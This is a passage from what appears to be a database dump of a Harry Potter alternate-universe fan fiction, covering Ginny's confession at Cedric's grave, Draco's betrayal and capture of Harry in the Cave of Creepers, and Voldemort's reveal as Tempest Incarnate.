need\nfood! Give me food now!&quot; He clanged his knife and fork together.<br>\n<br>\nLin slapped the back of James\'s head. &quot;James, show some manners! We\'re\nvisitors here. Look at the grown ups, they aren\'t making a scene.&quot;<br>\n<br>\nAs if on cue, Ron slammed his fist on the table and shouted, &quot;I want food\nnow!&quot; Lin buried her face in her hands as Ginny and Margaret both slapped\nRon. James started sniggering.<br>\n<br>\n&quot;Look who\'s making a scene now, sis.&quot;<br>\n<br>\n&quot;Shut up, James.&quot;<br>\n<br>\nThe food finally came and James and Ron started to stuff their mouths up like\npigs. Lin and Margaret rolled their eyes and started helping themselves to some\nof the food. The others all started eating except for Harry who simply spent\nhis time picking at his food. Hermione glanced at him sympathetically.<br>\n<br>\n&quot;Say, where\'s Lord Amos Diggory?&quot; Ron asked between chewing on a\npiece of bread.<br>\n<br>\nOne of the maids sighed and said, &quot;Lord Diggory rarely comes out in public\nthese days. He took the death of his son very hard and despite all these years,\nhe still spends most of his time moping in his chambers.&quot;<br>\n<br>\nThat was the last straw for Harry. He pushed his plate aside, stood up, and\nsaid, &quot;I\'m going outside for awhile.&quot;<br>\n<br>\n&quot;Are you all right?&quot; Hermione asked, concerned.<br>\n<br>\nHarry smiled at her and said, &quot;I\'m fine. I just need a little fresh\nair.&quot;<br>\n<br>\nHermione nodded as Harry walked out of the room.<br>\n<br>\nHarry eventually made it to a graveyard right behind the manor house. He slowly\nwalked passed the various tombstones until he stopped in front of one. Written\non the tombstone was, &quot;Sir Cedric Diggory, Mage Knight of Hogwarts from\nthe Kingdom of Hufflepuff.&quot; The date of death was around ten years ago.\nNext to Sir Cedric\'s tombstone, was another tombstone with the following\nwritten on it: &quot;Sir Cho Chang, Mage Knight of Hogwarts from the Kingdom of\nRavenclaw.&quot; The date of death on this tombstone was six years ago. Harry\nsighed sadly as he stared at the two tombstones.<br>\n<br>\n&quot;Its still hard on you, isn\'t it?&quot; came the voice of Ginny Weasley\nfrom behind him.<br>\n<br>\n&quot;It will always be hard on me,&quot; Harry said. &quot;Like it or not, its\nsomething I have to carry with me for the rest of my life.&quot;<br>\n<br>\nAlthough Harry had never told anyone about the details about Cedric\'s death,\npeople had a general idea of what had happened.<br>\n<br>\n10 years ago, Harry had just been become a Mage Knight after spending three\nyears as a Hogwarts squire. For his first mission, Harry was partnered with Sir\nCedric Diggory and was sent out to scout areas near the Hufflepuff- Gryffindor\nborder for rumors about Death Eater activity. An anonymous tip had led them to\na deserted graveyard, only to run into an ambush there. It was an assassination\nattempt on the heir of the throne of Gryffindor. Sir Cedric was killed outright\nin the fighting that followed and Harry barely escaped with his life. Since\nthen, Harry had always lived with the guilt that Cedric had died in an\nassassination attempt on Harry while Harry had survived.<br>\n<br>\nGinny placed a hand on Cho\'s tombstone and said, &quot;I suppose that\'s at\nleast one thing we have in common.&quot;<br>\n<br>\nHarry raised an eyebrow and asked, &quot;Oh?&quot;<br>\n<br>\n&quot;We both lost are partners on our first missions as Mage Knights.&quot;\nFor Ginny\'s first mission, six years ago, she and Cho were assigned to Godric\'s\nHollow Palace to protect Hermione and the newly born James and Lin while Harry\nwas away at international negotioations. Unfortunately, that night Voldemort\'s\nminions attacked the palace. Cho was killed and James and Lin were abducted.\nObviously things turned out for the better but Cho\'s death weighed heavily on\nGinny\'s conscious.<br>\n<br>\nHarry chuckled bitterly. &quot;Yeah how about that? Something we have in\ncommon.&quot;<br>\n<br>\n&quot;I wish we had more in common,&quot; Ginny muttered.<br>\n<br>\n&quot;What?&quot;<br>\n<br>\nGinny took a deep breath and said, &quot;Harry, I have something to confess to\nyou.&quot; She took another deep breath and blurted out, &quot;Harry, I love\nyou!&quot;<br>\n<br>\nHermione, whom had just been coming out to join them heard Ginny\'s words and\nfroze in shock.<br>\n<br>\nHarry blinked. &quot;Um, sorry Ginny but for a second I thought you\nsaid...&quot;<br>\n<br>\n&quot;I said I love you, Harry.&quot;<br>\n<br>\nHarry was absolutely speechless. &quot;Ginny...I...I...&quot;<br>\n<br>\n&quot;Love Hermione, I know. I have no intention of coming between the two of\nyou. The love you and Hermione share is something I can\'t even touch, and\nthat\'s what hurts me the most.&quot;<br>\n<br>\nHarry still didn\'t say anything and simply stayed rooted in his spot. Hermione\nremained where she stood where she was still hidden from the two but could hear\neverything that was being said.<br>\n<br>\nGinny continued, &quot;You no, maybe I\'m not really not in love with you and\nit\'s just an infatuation. But I definitely have feelings for you. For years\nnow, ever since you first came to the Burrow to visit Ron back when you were\neleven.&quot; She sighed. &quot;For years, I tried to attract your attention.\nBut you never even batted an eyelash toward me. To you I was always just Ron\'s\nlittle sister, but I figured if I kept trying, maybe you\'d finally notice.\nThen, low and behold on my 16th birthday you show up at the Burrow with this\nfarm girl, and before either one of you realized what had happened you both\ncompletely wrapped up in each other.&quot;<br>\n<br>\nHermione, listening in the conversation didn\'t even know what to think. Harry\nwas still speechless.<br>\n<br>\nGinny chuckled. &quot;I might sound bitter, but I\'m not really. When I first\nmet Hermione, I couldn\'t help but feel sorry for her. Here was this muggle-\nborn farm girl, completely clueless about everything and yet through no fault\nof her own had been caught up in events far beyond her control. I instantly\nrealized how she felt about you but I couldn\'t help liking her despite that.\nAfter all, all\'s fair in love and war. But when she kissed you that night at\nthe dance, and you had that dazed yet ecstatic look on your face as if you had\nsuddenly realized the greatest mystery in the world.&quot; She took a breath\nand asked, &quot;How did you meet her by the way? You\'ve never told me the\nstory.&quot;<br>\n<br>\nThe question about Hermione instantly snapped Harry out of his stupor.\n&quot;Oh, well that\'s actually quite a story,&quot; he said. &quot;It goes back\nto about nine years ago, back when most of Gryffindor was still under Death\nEater control. Ron and I were patrolling the northern Gryffindor forests not\ntoo far from the Burrow. I was in a weird mood that day since Trelawney had\njust made a prediction that my life was going to forever change that day.<br>\n<br>\n&quot;Anyway, traveling around Gryffindor was dangerous those days, as you\nknow, since the lands were controlled by the Death Eaters. So we were just\ngoing on a quick patrol when we noticed the smoke in a distance, the result of\na Death Eater attack on another innocent village. By the time Ron and I made it\nthere, all that was left was some smothered ruins and bodies. From what we were\nable to scrape up, Ron concluded that there were no survivors but I just\ncouldn\'t get the nagging feeling that we were missing something. So I left Ron\nbehind and took off into the forest where I encountered a farm girl whom had\nbeen captured by a troll. Long story short, a knocked the troll out and saved\nthe girl who promptly passed out in my arms. Ron and I took her back to\nHogwarts.&quot;<br>\n<br>\n&quot;Really,&quot; said Ginny. Harry nodded.<br>\n<br>\n&quot;Once at Hogwarts, Dumbledore discovered that Hermione was a magical\nprodigy, like my mother was. If the Gryffindor Kingdom wasn\'t under Death Eater\ncontrol, she would\'ve been identified years earlier and taken to Hogwarts as a\npotential Mage Knight. Dumbledore figured never late than never and offered\ntraining to her, which she accepted. Ron and I helped her adjust to life at\nHogwarts and we just grew closer.&quot; Harry suddenly looked alarmed at\nGinny\'s sad face. &quot;I\'m sorry Ginny, I didn\'t consider how our story might\naffect you.&quot;<br>\n<br>\n&quot;No, I\'m glad you told me,&quot; said Ginny. &quot;There was never\nanything I could\'ve done to bring myself in and now I truly no that. For years,\nI used to think up all of these \'what if\'s, but now, I no there never were any\n\'what if\'s.&quot;<br>\n<br>\nWith that, Ginny kissed Harry on the cheek and walked away. On the way back to\nthe manor, she passed a sad looking Hermione.<br>\n<br>\nHermione started to stutter, &quot;Ginny, I...&quot;<br>\n<br>\n&quot;Don\'t say anything, Hermione. I just wanted to tell you, that you\'re\nprobably the luckiest person I know.&quot;<br>\n<br>\nHermione closed her eyes and looked down at her feet. &quot;I know,&quot; she\nwhispered.<br>\n<br>\nGinny smiled at her and squeezed Hermione\'s shoulder before she strolled back\ninto the manor house.<br>\n<br>\nHermione felt her eyes tearing up and took a few calming breathes. She made her\nway over to Harry whom was sitting on the ground looking a little gloomy.\nWithout saying a word, Hermione sat down next to him. She laid her head on his\nshoulder as he wrapped his arm around her. For the next few hours, they just\nsat like that, saying absolutely nothing, just absorbing the comfort and love\nthey radiated from each other.<br>\n<br>\nA/N Did you like it? The inspiration for this chapter came to me a few weeks\nago and I simply couldn\'t resist writing it despite the fact that it really\ndoesn\'t have anything to do with the rest of the story. So, R/R. Sorry it\'s a\nlittle shorter than what I usually produce. Next: It\'s the Cave of Creepers and\nthe Mage Knights are going to run into a surprisingly (or maybe not) familiar\nface there.</p>\n\n\n\n\n\n\n'),
	(224, 11, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros.\nInc., Scholastic, Bloomsbury, Raincoast, and any other affiliated party. </p>\n\n<p>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 10: At the Cave of Creepers<br>\n<br>\n&quot;So, how long are we supposed to wait out here?&quot; asked James, as he\nkicked a pebble around. The three Potter children were waiting in front of the\nentrance of a vast cave. Surrounding them, was the great forest none as the\nWilderness of Creepers. At was a vast land, filled with creatures of great size\nand wonder, not to mention danger. People seldom ventured into this wilderness\nand even the Mage Knights generally avoided the area if possible. The Potter\'s\nhowever, especially James, could care less about the great dangers of the\nforest. To them, it was a grand adventure.<br>\n<br>\nHarry and Hermione had ventured into the cave about forty minutes earlier to\nsearch for the Rings of the Badger and Unicorn. Leaving the children with Ron.\nRon had noticed that things had gotten a little awkward between Ginny, Harry,\nand Hermione, but they had refused to explain what had happened between them to\nRon. Therefore, Ginny had decided to stay behind at Diggory Manor with Ron\'s\nfamily.<br>\n<br>\nAt present time, Ron was dozing on some moss near the entrance while James was\nimpatiently waiting for his parents to return. Lin and Virginia were busy\nfeeding Nomie, whom was now as big as a horse, some carrots and potatoes.<br>\n<br>\n&quot;Give them some time, James,&quot; said Lin. She stroked Nomie\'s chin\ndelicately as she fed him a carrot. Nomie purred with contentment.<br>\n<br>\n&quot;Easy for you to say,&quot; growled James. &quot;You could probably have\nno problem waiting for the Hogwarts acceptance to come, so long as you have\neither a book or that dragon.&quot;<br>\n<br>\n&quot;Well I say that you need to learn to wait more, James,&quot; said Lin.\n&quot;Patience is a virtue.&quot;<br>\n<br>\n&quot;Well I think waiting around is too chicken like. I need to get down to\nsome hard action!&quot;<br>\n<br>\n&quot;Well, maybe, if you can get something else other than trouble into that\nhead of yours...&quot;<br>\n<br>\n&quot;Will you two shut up?!&quot; Virginia suddenly yelled. James and Lin\ninstantly shut up and stared at their usually quiet little sister in shock.<br>\n<br>\nVirginia continued and said, &quot;Just drop to silly argument and wait for\nMommy and Daddy to come out. If you want to pass time, just sit down and start\nplaying a game or something. But no more arguing!&quot;<br>\n<br>\nWith that, Virginia stomped her right foot on the ground and gave her older\nsiblings a glare that Hermione often gave them when she was angry with them.<br>\n<br>\nStill startled by Virginia\'s sudden outburst, James and Lin sat down, both of\nthem with a slightly dazed look. Virginia smiled and went back to feeding\nNomie.<br>\n<br>\nIt was only a few minutes later when it happened. Ron suddenly snapped up and\nlooked around fully alert.<br>\n<br>\n&quot;What is it, Uncle Ron?&quot; asked Lin.<br>\n<br>\n&quot;I felt something,&quot; said Ron. &quot;Some kind of magical activity\njust took place in the cave.&quot;<br>\n<br>\nJames sprang up, clearly excited. &quot;Maybe Mum and Dad found the\nrings!&quot; he exclaimed.<br>\n<br>\n&quot;No,&quot; said Ron. &quot;This felt slightly different. Like somebody had\njust apparated into the cave.&quot;<br>\n<br>\n&quot;But that can\'t be right,&quot; said Lin with a confused frown. &quot;You\nyourself always complain about how there are these wards up in Magiterran that\nprevent anyone from apparating except...&quot;<br>\n<br>\n&quot;Except the Death Eaters!&quot; Ron exclaimed. &quot;Or the Children of\nTempest. Wichever way, Harry and Hermione are in trouble! Come on!&quot; With\nthat, Ron ran into the cave, the three children and their dragon following\nclose behind him.<br>\n<br>\n* * *<br>\n<br>\n&quot;How deep is this cave?&quot; asked Hermione as she strolled down the dark\npath.<br>\n<br>\n&quot;Hopefully not too deep,&quot; said Harry as he suddenly picked up\nHermione. Just as he did so, the area she had been previously been occupying\nburst into flame.<br>\n<br>\n&quot;Why thank you my handsome knight in shining armor,&quot; she giggled as\nhe put her down.<br>\n<br>\n&quot;My pleasure my beautiful queen,&quot; said Harry with a grin. He gave her\na brief kiss before he became serious again. &quot;OK, that was the eighth fire\ntrap we\'ve encountered. How many more can there be?&quot;<br>\n<br>\n&quot;I wouldn\'t know,&quot; sighed Hermione. &quot;I just hope we can find\nthose rings soon.&quot; She looked up and grinned. &quot;And there they\nare.&quot;<br>\n<br>\nIndeed she was right. The path led to a small hill about fifty meters away. On\nthe top of that hill was a small table, and on that table were two rings, a\nyellow topaz ring with a picture of a badger on it, and a black onyx ring with\na picture of a unicorn on it.<br>\n<br>\n&quot;There they are,&quot; said Hermione excitedly.<br>\n<br>\nHarry nodded. &quot;Remember, only you can pick them up.&quot;<br>\n<br>\n&quot;I remember. Just wait here for a second. I\'ll be right back.&quot;<br>\n<br>\nHermione started to make her way to the hill. However, when she had only taken\nabout five steps, a wall of fire suddenly sprang up behind her, separating her\nand Harry. In fact, a ring of fire surrounded Harry now. Hermione spun around\nalarmed.<br>\n<br>\n&quot;Harry!&quot;<br>\n<br>\n&quot;Go, Hermione!&quot; Harry shouted. &quot;Just get the rings. I\'ll take\ncare of whatever\'s going on here.&quot;<br>\n<br>\nHermione only hesitated for a brief second before she turned and ran to the\nhill.<br>\n<br>\nHarry turned around when he heard footsteps coming from behind. However, he\nreceived quite a surprise when he saw whom it was coming through the flames.<br>\n<br>\n&quot;Draco Malfoy?&quot;<br>\n<br>\n&quot;Potter,&quot; said Draco with a smirk. &quot;Fancy seeing you here.&quot;<br>\n<br>\n&quot;What are you doing here?&quot; Harry asked. Despite the fact that Draco\nwas one of his allies, Harry felt nervous about the way Draco was smirking at\nhim.<br>\n<br>\n&quot;Oh you know,&quot; said Draco. &quot;Sightseeing, shopping, just having a\nnice vacation, doing Lord Tempest\'s handiwork...&quot; Suddenly, Draco pointed\nhis sword at Harry and fired two curses at him! Caught by surprise, Harry\nbarely managed to dodge the two curses.<br>\n<br>\n&quot;Malfoy, what...&quot; Harry didn\'t have time to complete his questioning\nas Draco suddenly pounced on him, thrashing his sword. Not having time to draw\nhis own sword, Harry blocked Draco\'s blade with his scabbard.<br>\n<br>\nNow that Draco had attacked Harry, Harry\'s battle instincts suddenly kicked in.\nBalling his hand into a fist, Harry took a swing and clobbered Draco in the\nface. He drew his sword out as Draco staggered back in pain.<br>\n<br>\n&quot;How much did it take for you to betray us?&quot; Harry hissed. He made a\nswing with sword. Draco, blocked Harry\'s blade and took a swing himself which\nHarry also blocked.<br>\n<br>\n&quot;Would you believe me if I said all it took was an invigorating tryst with\na beautiful woman in bed?&quot; said Draco with a smirk. He thrust his sword at\nHarry. Harry swung his sword upward and knocked the blade away.<br>\n<br>\n&quot;With you, somehow that makes perfect sense,&quot; sneered Harry. He spun\naround and slashed at Draco. Draco blocked the blow and rammed his left fist\ninto Harry\'s cheek. Reeling back a little, Harry managed to knee Draco in the\nabdomen.<br>\n<br>\n&quot;It was really a perfect deal,&quot; said Draco with a smirk. He parried\nforward slashed at Harry who successfully blocked each of Draco\' blows.\n&quot;You get power, a good amount of recognition from Tempest, plus sex. You\nshould give it a try.&quot;<br>\n<br>\n&quot;Sorry, but I\'m spoken for,&quot; said Harry. Saying that suddenly\nreminded Harry of Hermione. Harry stole a quick glance behind himself a saw\nthat Hermione was nearly at the top of the hill.<br>\n<br>\nDraco did not miss this chance. He leaped forward and rammed his left fist into\nHarry\'s face. With his right hand, Draco swung his sword around as fast as he\ncould knocked Harry\'s sword out of his hand! It flew away and landed on the\nother side of the ring of fire.<br>\n<br>\nThe sound of the sword hitting the ground caught Hermione\'s attention.\nWorriedly, she spun around called out, &quot;Harry!&quot;<br>\n<br>\n&quot;Just get the rings!&quot; Harry yelled. Reluctantly Hermione turned\naround and started to make her way up the hill again.<br>\n<br>\n&quot;Surrender Potter, I have you beaten,&quot; hissed Draco.<br>\n<br>\n&quot;Yeah right!&quot; said Harry. He suddenly swung wide and hit Draco in the\njaw. As Draco stepped back, Harry leapt forward and landed a flying kick into\nDraco\'s chest. Her then swung an uppercut into Draco\'s chin, causing Draco to\nfly back. To round off the deal, Harry blasted a burst of magic into Draco\nwhile he was still in the air, causing him to fly even further back. He landed\non the ground with a painful thud.<br>\n<br>\nDraco groaned in pain as he pulled himself back up on his feet. He knew full\nwell that although he could possibly best Harry in a sword fight, he was\nabsolutely no match against him in terms of sheer magical power.<br>\n<br>\nHarry was advancing on Draco, looking very menacing. Thinking quickly, Draco\nshot a curse toward Hermione whom had nearly reached the rings. The curse\ngrazed Hermione\'s left shoulder and she yelped in pain.<br>\n<br>\n&quot;Hermione!&quot; Harry shouted as he spun around to see if she was all\nright. Draco did not miss this chance as he incanted another spell.<br>\n<br>\nTwelve, thick steel chains sprang out of the ground and wounded around Harry\'s\nbody, effectively trapping him on his feet.<br>\n<br>\n&quot;What the?&quot;<br>\n<br>\n&quot;You\'re coming with me, Potter,&quot; hissed Draco. He staggered his way\nover to the trapped Harry and grabbed his right shoulder.<br>\n<br>\n* * *<br>\n<br>\nHermione had finally reached the two rings on the top of the hill. Ignoring the\nstinging pain in her shoulder from Draco\'s curse, she placed her hands over the\nrings. In a flash, the rings disappeared. A split second later, they had joined\nthe other three rings on her fingers.<br>\n<br>\nNow that she had claimed the rings, Hermione was ready to help Harry. Just as\nshe turned around however, she saw Harry and Draco disappear with a pop, the\nsign of apparation.<br>\n<br>\n&quot;Harry!&quot; Hermione ran down the hill toward the place where Harry had\njust been. The flames had died and there was nothing lighting the cave now. All\nalone, Hermione hesitantly stepped up to where Harry had been only minutes ago.<br>\n<br>\n&quot;Harry?&quot; she whispered hopefully. There was no answer.<br>\n<br>\n* * *<br>\n<br>\nRon hadn\'t bothered to count how many traps he had passed as he raced down the\ncave\'s path. His mind registered the fact that Harry and Hermione\'s children\nwere following him but he trusted them enough to follow him directly, thus\navoiding all the traps. All that really mattered to him now was that he get to\nHarry and Hermione as fast as he could.<br>\n<br>\nRon suddenly stopped when he saw Hermione slowly walking toward him. Her head\nwas bent down and she looked close to crying.<br>\n<br>\n&quot;Hermione?&quot; he asked. &quot;What happened?&quot;<br>\n<br>\nHermione said nothing. She simply walked passed Ron and knelt down in front of\nher three children. She pulled them into a tight hug as if her very life\ndepended on it. James, Lin and Virginia looked at each other confused as their\nmother held them tighter.<br>\n<br>\nIt was finally Virginia who spoke, &quot;Mommy? What happened? Where\'s\nDaddy?&quot;<br>\n<br>\nFighting back tears, Hermione simply said two words, &quot;He\'s gone.&quot;<br>\n<br>\nA/N Draco Malfoy fans, please do not do anything to me (gets on knees and\nbegs). I\'ve told you guys earlier that there is more to what Draco is doing\nthen I am letting on. So please, please, PLEASE, keep that in mind. Anyway,\nplease R/R. Next: Hermione reminisces, and Harry finally sees the Crystal of\nTempest.</p>\n\n\n\n\n\n\n'),
	(224, 12, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 11: Tempest Incarnate<br>\n<br>\nHermione\'s strength was something to be admired. After the first few tears she\nhad let out initially after Harry\'s capture, she managed to bottle up all the\ngrief that was threatening to overcome her. It was for her children mostly.\nWhen James, Lin, and Virginia learned that their father was gone they burst\ninto tears like any young child would. For the next few hours, Virginia refused\nto let Hermione go, her arms wound tight around her mother\'s neck. Lin spent\nthat time trying to comfort a wailing James, despite the fact that she was\nsobbing herself.<br>\n<br>\nBy the time the Gryffindor troupe had portkeyed back to Godric\'s Hollow, the\nchildren had cried themselves to sleep. Hermione however, still wore her\nunemotional mask even though Ron could clearly see the devastation in her eyes.<br>\n<br>\n&quot;Hermione.&quot; he said. He tried to lay a hand on her shoulder but\nHermione brushed Ron\'s hand off.<br>\n<br>\n&quot;Call all the army captains,&quot; she said, her voice filled with\nauthority. &quot;Gather them in the meeting chambers within an hour. And tell\nthem to keep a lid on Harry\'s disappearance; we don\'t want any wide spread\npanic.&quot;<br>\n<br>\nRon simply stared at Hermione in shock.<br>\n<br>\n&quot;Move!&quot; ordered Hermione. Ron snapped out of his trance and ran off\nto gather all of the captains and commanders of the vast Gryffindor military.<br>\n<br>\nHermione sighed as she walked through the chambers of the palace, her sleeping\nchildren levitating behind her. She led them to the nursery and tucked them\ninto bed for it was already quite late that night.<br>\n<br>\n&quot;Daddy,&quot; murmured Lin in her sleep as Hermione tucked her in.\nHermione stroked Lin\'s brown hair and kissed her on the forehead.<br>\n<br>\n&quot;He\'s OK,&quot; Hermione said. &quot;He\'ll be OK. We\'ll save him. Don\'t\nworry my angel.&quot; Hermione walked over to the window and gazed at the star\nfilled sky. &quot;I\'ll save you Harry,&quot; she whispered.<br>\n<br>\n* * *<br>\n<br>\nAbout an hour later, the meeting chamber was in chaos. Every single army\ncommander and captain of the Gryffindor Military was in panic concerning\nHarry\'s disappearance. Some were whispering amongst themselves as if this were\nsome rumor of conspiracy. Others were shouting at the top of their lungs making\nsuggestions that ranged from full frontal assault and rescue to covert rescue\nmissions. There were even some shouting at the others to keep it quiet. One of\nthose was Ron Weasley.<br>\n<br>\n&quot;Quiet!&quot; he shouted. His voice was lost amongst the babble. &quot;Yo!\nKeep it down! Shut up!&quot;<br>\n<br>\n&quot;Order! Order!&quot; shouted General Oliver Wood. His voice was also lost\nin the chaos. Things were starting to look dirty. Ron and Wood shared a look\nthat showed each other that they were at a loss.<br>\n<br>\n&quot;Silence!&quot; said Hermione in a firm voice. The commanders instantly\nshut up. It was now so quiet that a pin dropping could be heard.<br>\n<br>\nRon couldn\'t help but grinning at Hermione. When she and Harry had just gotten\nmarried, there were a few people who spoke out against having a muggleborn farm\ngirl as their queen, just as they had with Harry\'s parents. Those few quickly\ndisappeared in the next few months for Harry\'s rule was clearly a dual\nmonarchy. While Harry was the one who commanded the power and strength to rule\na kingdom, the brains behind the throne had clearly been Hermione from the\nstart. Still, it was sometimes amazing to see just how much respect and\ninfluence Hermione carried.<br>\n<br>\n&quot;Now, will you please make your suggestions one at a time,&quot; said Ron.\nThe first person who spoke was Lord Sirius Black, or rather he sprang up.<br>\n<br>\n&quot;Full frontal assault,&quot; he said quite loudly. &quot;Seek out these\nChildren of Tempest, beat the stuffing out of them and get Harry back! Seek and\nDestroy!&quot;<br>\n<br>\n&quot;Usually I\'d agree with you,&quot; said Ron. &quot;But maybe we should\nsave that idea for when we can actually find where these cultists are.&quot;<br>\n<br>\n&quot;That\'s my godson they got!&quot; shouted Sirius.<br>\n<br>\n&quot;Isn\'t he our king as well?&quot; said Ron a little sarcastically.\n&quot;We all miss him, OK. But now is not the time to panic.&quot;<br>\n<br>\n&quot;And if he were hurt or worse?&quot; said Sirius.<br>\n<br>\n&quot;Then we can panic,&quot; said Ron. Murmurs ran through the crowd again\nbut they remained quiet.<br>\n<br>\nLord Remus Lupin next stood up and said, &quot;Even if we can where these\ncultists are, they\'ll probably have an army there. I\'ve already contacted\nDumbledore and he\'s sending word to the other kingdoms to mobilize their\narmies. He\'s also gathered as many Mage Knights as he could and is sending them\nhere...&quot; It was at that moment when a large eagle-owl flew in through an\nopen window, deposited a letter on Hermione\'s lap, and flew away.<br>\n<br>\nCuriously, Hermione opened the letter and read it. Ron also read the letter\nover her shoulder and he did not like what was written there.<br>\n<br>\n&quot;Why that little twerp!&quot; he shouted. &quot;Of all the nerve! To write\nsuch stuff after all that\'s happened...&quot;<br>\n<br>\n&quot;I\'m doing it.&quot; Hermione said.<br>\n<br>\n&quot;What?!&quot; asked an incredulous Ron.<br>\n<br>\n&quot;I\'m doing it,&quot; repeated Hermione. &quot;This is the only lead we\nhave. I\'m using it.&quot;<br>\n<br>\n&quot;You can\'t possibly trust that thing,&quot; Ron demanded.<br>\n<br>\n&quot;Harry would\'ve trusted it,&quot; Hermione said. That sealed it.<br>\n<br>\n* * *<br>\n<br>\nLater that night, Hermione was all alone in the west wing, in her bed that felt\nfar too big and empty without Harry. Now that she was all alone, away from her\nservants, her friends, and her children, Hermione was finally able to remove\nher emotional mask, no longer having to deal with the crisis of the\ndisappearance of Harry and needing to appear strong. Hermione wept. She cried\nlong and hard that night, the sobs never stopping.<br>\n<br>\nAs she cried, Hermione\'s thoughts went back to the time when Harry and she had\nmade love for the first time ever, all those years ago. It was in that very\nroom, on that very bed, on their wedding night (Ron had once rudely commented\nthat he was surprised that Harry and Hermione had waited till their wedding\nnight considering the way they were going at each other. He didn\'t dare mention\nit again after the hexing Hermione gave him). She remembered the way Harry had gently\npeeled her pure white wedding gown off while their lips were still fused with\neach others. She remembered how softly Harry had caressed her bare form as he\ncarried her over to the bed and laid her on it. Harry then saw the small amount\nof fear in her eyes and had actually suggested that they could do it some other\nnight, but Hermione didn\'t want that. It was awkward since it was both their\nfirst times after all, but Harry had been so gentle with her that Hermione had\nstarted to cry. She knew that although that night was only going to be the\nfirst time of many times between them, that she would never forget that night.\nIt was something dear and precious to her.<br>\n<br>\nComing back to the present, Hermione angrily swiped away the tears in her eyes.\n\'There will be more nights with you, love,\' she thought to herself. \'I\'m going\nto save you, Harry. That\'s a promise.\' Tomorrow, she was going to follow the\nlead on the letter and she would need her energy if things did get ugly. Soon\nshe had fallen into a peaceful sleep, dreaming dreams of Harry.<br>\n<br>\n* * *<br>\n<br>\nMeanwhile, Draco Malfoy was walking down the corridors of some dungeon located\nsomewhere in the Kingdom of Slytherin. He had a stoic, unreadable expression on\nhis face as he approached one of the cells. In that cell was none other than\nHarry Potter.<br>\n<br>\nHarry was sitting on the floor, his legs and arms crossed. He was crouched over\nsince a number of chains were wound around his body, pinning him to the ground.\nHe was still wearing his Mage Knight armor. This was because of a special\nsafety charm that made it so that only a Mage Knight could will his or her own\narmor off, a charm that had served to save many Mage Knights\' lives. It had\nalso saved many captured female Mage Knights\' dignities.<br>\n<br>\nHarry glared at Draco, his green eyes burning fiercely. Despite the fact that\nHarry was pinned down in a crouching position, he still looked intimidating.<br>\n<br>\n&quot;Traitor!&quot; he hissed. Draco flinched briefly but he quickly regained\nhis cool.<br>\n<br>\n&quot;Don\'t get me wrong,&quot; Draco said. &quot;I did what I did because I\nhad to. I couldn\'t just back out after all the fun times the high priestess and\nI had.&quot; Draco couldn\'t help but grin when he said the last part.<br>\n<br>\n&quot;Maybe if you get your head out of your pants, you might do something\nworthwhile,&quot; Harry suggested sarcastically.<br>\n<br>\n&quot;Very funny,&quot; said Draco. &quot;You know, Potter, you might\'ve done\nthe same if you were in my position.&quot;<br>\n<br>\n&quot;What makes you so sure? I would\'ve never betrayed my friends and allies\nfor a slut.&quot;<br>\n<br>\n&quot;Ah, but you\'ve never met Cassandra Frost.&quot;<br>\n<br>\nHarry was about to make a retort when the high priestess herself walked in the\nchamber. If Harry hadn\'t been completely in love in Hermione, he would\'ve been\nhighly attracted to the beautiful Cassandra Frost with her long raven hair and\ndeep blue eyes. But he still doubted that he would\'ve betrayed his friends to\nsleep with her.<br>\n<br>\n&quot;How is our guest doing?&quot; asked Cassandra.<br>\n<br>\n&quot;See for your self,&quot; said Draco as he gestured toward the cell.<br>\n<br>\nCassandra walked up to bars of the cell door and peered inside. &quot;So, how\nare you doing, your majesty?&quot;<br>\n<br>\nHarry glared at Cassandra and remained quiet.<br>\n<br>\n&quot;I sure hope you are comfortable,&quot; said Cassandra. &quot;We wouldn\'t\nanything horrible happening to you before your execution.&quot;<br>\n<br>\n&quot;What do you want?&quot; demanded Harry.<br>\n<br>\n&quot;I am not the one who has business with you. That would be my master. And\nhere he comes.&quot; Indeed, Harry could now hear footsteps coming closer to\nwhere he was.<br>\n<br>\nCassandra stepped back as the owner of the footsteps came into view. He was a\ntall man with raven black hair and blood red eyes. He was wearing black armor\nand mail, had a black cape flowing down his back, and had an emerald encrusted\nsword holstered under the cape. And imbedded in his breastplate, was the\nCrystal of Tempest. Harry recognized him instantly; it was Lord Voldemort.<br>\n<br>\n&quot;Oh, you again,&quot; Harry said in an exasperated voice.<br>\n<br>\nVoldemort laughed his familiar high pitched laugh. &quot;Why Harry, I would\'ve\nthought you\'d be overjoyed to see me,&quot; he said.<br>\n<br>\n&quot;Actually I was hoping you\'d remain dead,&quot; replied Harry. &quot;One\ncan get so tired of constantly putting down a loser who simply doesn\'t know\nwhen to quit.&quot;<br>\n<br>\n&quot;You are lucky I am in a good mood right now,&quot; Voldemort said.\n&quot;Such insolence would\'ve merited the Cruciatus Curse otherwise.&quot;<br>\n<br>\n&quot;Why not use it anyway,&quot; Harry challenged. A part of him couldn\'t\nbelieve he had just challenged his arch nemesis to torture him, but he was\nrelying on instinct right now: fighting down the fear that was trying to burst\nforth with wisecracks.<br>\n<br>\n&quot;Tempting,&quot; said Voldemort. &quot;But perhaps, some other time.&quot;\nApparently, the Dark Lord was in a really good mood.<br>\n<br>\nHarry glanced at the Crystal of Tempest. &quot;So, Tempest Incarnate, eh?&quot;<br>\n<br>\n&quot;Surprised,&quot; said Voldemort with a grin. &quot;I admit, I was\nsurprised myself when I first learned the truth. The power to challenge even\nthe One Deity was placed on me.&quot; The Dark Lord started pacing.\n&quot;Originally, I would\'ve been content just to have Magiterran for myself.\nBut now, I won\'t stop till all reality is mine.&quot;<br>\n<br>\n&quot;Surprised?&quot; Harry said. &quot;You mean you didn\'t know who you truly\nwere?&quot;<br>\n<br>\n&quot;I didn\'t,&quot; said the Dark Lord. &quot;Your parents found out my true\nnature long before I even had a clue. I always knew there was some kind\nconnection between Tempest and myself since I first found the Crystal, but I\nnever would\'ve dreamed I was his incarnation. That was until you and your\nmudblood wife used the rings on me the first time.&quot;<br>\n<br>\n&quot;What?&quot;<br>\n<br>\n&quot;Initially, I wanted the Rings for myself simply because they 